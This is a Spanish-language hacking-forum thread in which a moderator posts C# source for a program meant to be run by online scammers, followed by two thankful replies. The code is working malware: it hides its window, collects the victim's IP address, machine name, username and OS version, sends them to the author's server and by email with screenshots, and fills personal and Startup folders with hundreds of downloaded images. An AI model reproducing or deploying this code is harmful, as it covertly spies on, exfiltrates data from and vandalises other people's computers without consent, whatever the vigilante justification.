comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[C#] Script -- Estafando a los Estafadores

  • 2 Respuestas
  • 2425 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado blackdrake

  • *
  • Co Admin
  • Mensajes: 1913
  • Actividad:
    5%
  • Reputación 15
    • Ver Perfil
« en: Julio 06, 2016, 07:48:25 am »
Bueno, debido a que he recibido muchos correos y mps pidiendo el script que utilicé, he decidido publicarlo:

El post al que hago referencia es: No tienes permisos para ver links. Registrate o Entra con tu cuenta

Unas imágenes para mostrar su funcionamiento:




Creación de las imágenes en Startup para que se inicien con windows:


Recibiendo datos de los estafadores:



Captura de pantalla de su bonito escritorio:

Sin más, el código (lo que vais a ver ahora no es un ejemplo bueno de programación, el código está bastante "hardcodeado", ya que lo hice deprisa y corriendo pero es funcional).

Código: C#
  1.  public partial class Form1 : Form
  2.     {
  3.         public Form1()
  4.         {
  5.             InitializeComponent();
  6.         }
  7.        
  8.        [DllImport("user32.dll", CharSet = CharSet.Auto)]
  9.         private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni);
  10.  
  11.        string backgroundImageUrl = "https://cdn.meme.am/instances/500x/64226723.jpg"; //URL del fondo de pantalla
  12.        
  13.         //Cambiamos el fondo de pantalla
  14.         public void SetWallpaper(String path)
  15.         {
  16.             SystemParametersInfo(0x14, 0, path, 0x01 | 0x02);
  17.         }
  18.  
  19.         //Descargamos la imagen de la pagina web.
  20.         private void SetWallpaperFromWeb(string url, string path)
  21.         {
  22.             WebClient webClient = No tienes permisos para ver links. Registrate o Entra con tu cuenta WebClient();
  23.             webClient.DownloadFile(No tienes permisos para ver links. Registrate o Entra con tu cuenta Uri(url), path);
  24.             SetWallpaper(path);
  25.         }
  26.  
  27.         private void Form1_Load(object sender, EventArgs e)
  28.         {
  29.            //Sacamos datos como IP, ruta de ejecución, nombre de la máquina etc.. y lo enviamos a un servidor propio:
  30.  
  31.             string ip = No tienes permisos para ver links. Registrate o Entra con tu cuenta System.Net.WebClient().DownloadString("https://ipinfo.io/ip").Replace("\n", "");
  32.  
  33.             string ruta = Directory.GetCurrentDirectory();
  34.  
  35.             string maquina = Environment.MachineName + " ----- " + Environment.UserName + " ----- " + Environment.OSVersion
  36.  
  37.             string sURL;
  38.             //Recibe php debe recoger los siguientes parametros y almacenarlos ya sea un txt o en una BD
  39.  
  40.             sURL = "http://www.url.com/recibe.php?ip=" + ip + "&ruta=" + ruta + "&maquina=" + maquina;
  41.  
  42.             WebRequest wrGETURL;
  43.             wrGETURL = WebRequest.Create(sURL);
  44.             wrGETURL.GetResponse();
  45.  
  46.             //Definimos los directorios donde queremos guardar un bonito recuerdo (100 imagenes)
  47.  
  48.             string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
  49.             string documentos = Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments);
  50.             string musica = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
  51.             string imagenes = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
  52.             string personal = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
  53.             string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
  54.  
  55.  
  56.               //100 imagenes o las que queramos :D
  57.               //Se podria guardar una vez y copiarla, pero de esta manera, se puede generar "DDoS" si queremos.
  58.               int i = 0;
  59.               while (i<100)
  60.               {
  61.                   using (WebClient Client = No tienes permisos para ver links. Registrate o Entra con tu cuenta WebClient())
  62.                   {
  63.                       //Descargamos la imagen y la guardamos.
  64.                       Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", desktop + "/troll" + i + ".jpg");
  65.                       Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", documentos + "/troll" + i + ".jpg");
  66.                       Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", musica + "/troll" + i + ".jpg");
  67.                       Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", imagenes + "/troll" + i + ".jpg");
  68.                       Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", personal + "/troll" + i + ".jpg");
  69.                       Client.DownloadFile("http://memesvault.com/wp-content/uploads/Dancing-Troll-Meme-06.jpg", startup + "/troll" + i + ".jpg");
  70.                       i++;
  71.                   }
  72.               }
  73.  
  74.            //Cambiamos nuestro fondo de pantalla y
  75.            //finalizada la descarga de todas las imagenes, hacemos una captura de pantalla(la enviamos por mail), seguro que ha quedado precioso ^^
  76.  
  77.             Bitmap bmpScreenshot = No tienes permisos para ver links. Registrate o Entra con tu cuenta Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
  78.  
  79.             Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
  80.  
  81.             gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
  82.  
  83.             bmpScreenshot.Save("prueba.png", ImageFormat.Png);
  84.  
  85.  
  86.             string rutaca = ruta + @"\prueba.png";
  87.            
  88.  
  89.             string backgroundImageName = rutaca;
  90.             SetWallpaperFromWeb(backgroundImageUrl, backgroundImageName);
  91.  
  92.            
  93.  
  94.             bmpScreenshot = No tienes permisos para ver links. Registrate o Entra con tu cuenta Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
  95.  
  96.             gfxScreenshot = Graphics.FromImage(bmpScreenshot);
  97.  
  98.             gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
  99.  
  100.             bmpScreenshot.Save("prueba1.png", ImageFormat.Png);
  101.             string rutacah = ruta + @"\prueba1.png";
  102.  
  103.             //Enviamos por mail la captura de pantalla.
  104.             SendMail(ip,ruta,maquina,rutacah);
  105.  
  106.            
  107.             Close();
  108.         }
  109.  
  110.         private void Form1_Shown(object sender, EventArgs e)
  111.         {
  112.             //Ocultamos el Form1
  113.             Visible = false;
  114.             Opacity = 10000000000;
  115.         }
  116.        
  117.         //Funcion para guardar la captura en el correo.
  118.         public static void SendMail(string ip, string ruta, string maquina, string rutacah)
  119.         {
  120.             try
  121.             {
  122.                 var mailaddress = "correo@outlook.com";
  123.                 var smtpHost = "smtp.live.com";
  124.                 var smtpPort = Convert.ToInt32("587");
  125.                 var mailpassword = "password";
  126.                 string body = "Los estafadores han picado!!" + ip + "<br/>" + ruta + "<br/>" + maquina;
  127.                
  128.                  
  129.                 var fromAddress = No tienes permisos para ver links. Registrate o Entra con tu cuenta MailAddress(mailaddress, "Pwned Estafadores");
  130.                 var toAddress = No tienes permisos para ver links. Registrate o Entra con tu cuenta MailAddress(mailaddress, "Pwned Estafadores");
  131.                 const string subject = "Datos del pwned v3";
  132.                
  133.                    
  134.                 var smtp = No tienes permisos para ver links. Registrate o Entra con tu cuenta SmtpClient
  135.                 {
  136.                     Host = smtpHost,
  137.                     Port = smtpPort,
  138.                     EnableSsl = true,
  139.                     DeliveryMethod = SmtpDeliveryMethod.Network,
  140.                     UseDefaultCredentials = false,
  141.                     Credentials = No tienes permisos para ver links. Registrate o Entra con tu cuenta NetworkCredential(fromAddress.Address, mailpassword)
  142.                 };
  143.                 using (var message = No tienes permisos para ver links. Registrate o Entra con tu cuenta MailMessage(fromAddress, toAddress)
  144.                 {
  145.                     Subject = subject,
  146.                     Body = body,
  147.                 })
  148.                 {
  149.                     message.Attachments.Add(No tienes permisos para ver links. Registrate o Entra con tu cuenta System.Net.Mail.Attachment(rutacah));
  150.                     smtp.Send(message);
  151.                    
  152.                 }
  153.             }
  154.             catch (Exception ex)
  155.             {
  156.                // MessageBox.Show(string.Format("Error al enviar el correo! \n {0}", ex.Message), "Error!");
  157.                 return;
  158.             }
  159.         }
  160.            
  161.  
  162.  
  163.     }  
  164.  


Espero que les sea de utilidad y no sean malos ^^

Un saludo.
« Última modificación: Julio 06, 2016, 07:50:52 am por blackdrake »



Desconectado Desireless

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Julio 10, 2016, 11:31:40 pm »
Buenisimo el post, gracias por el codigo   ;D

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 873
  • Actividad:
    3.33%
  • Reputación 15
    • Ver Perfil
    • Email
« Respuesta #2 en: Julio 11, 2016, 01:22:36 pm »
@No tienes permisos para ver links. Registrate o Entra con tu cuenta

Hasta hoy me puse a leer con tranquilidad el actual post.
Yo no programo en C#, pero no me impide leerlo ni algo más importante, apreciar ese com-partir lo propio o personal de que toda Comunidad siempre necesita.

Un tutorial claro que habilita -a quien lo desee- reconstruir tus etapas y de paso -aprender-

Gracias por el aporte y fundamentalmente,por la actitud.

Gabriela

 

¿Te gustó el post? COMPARTILO!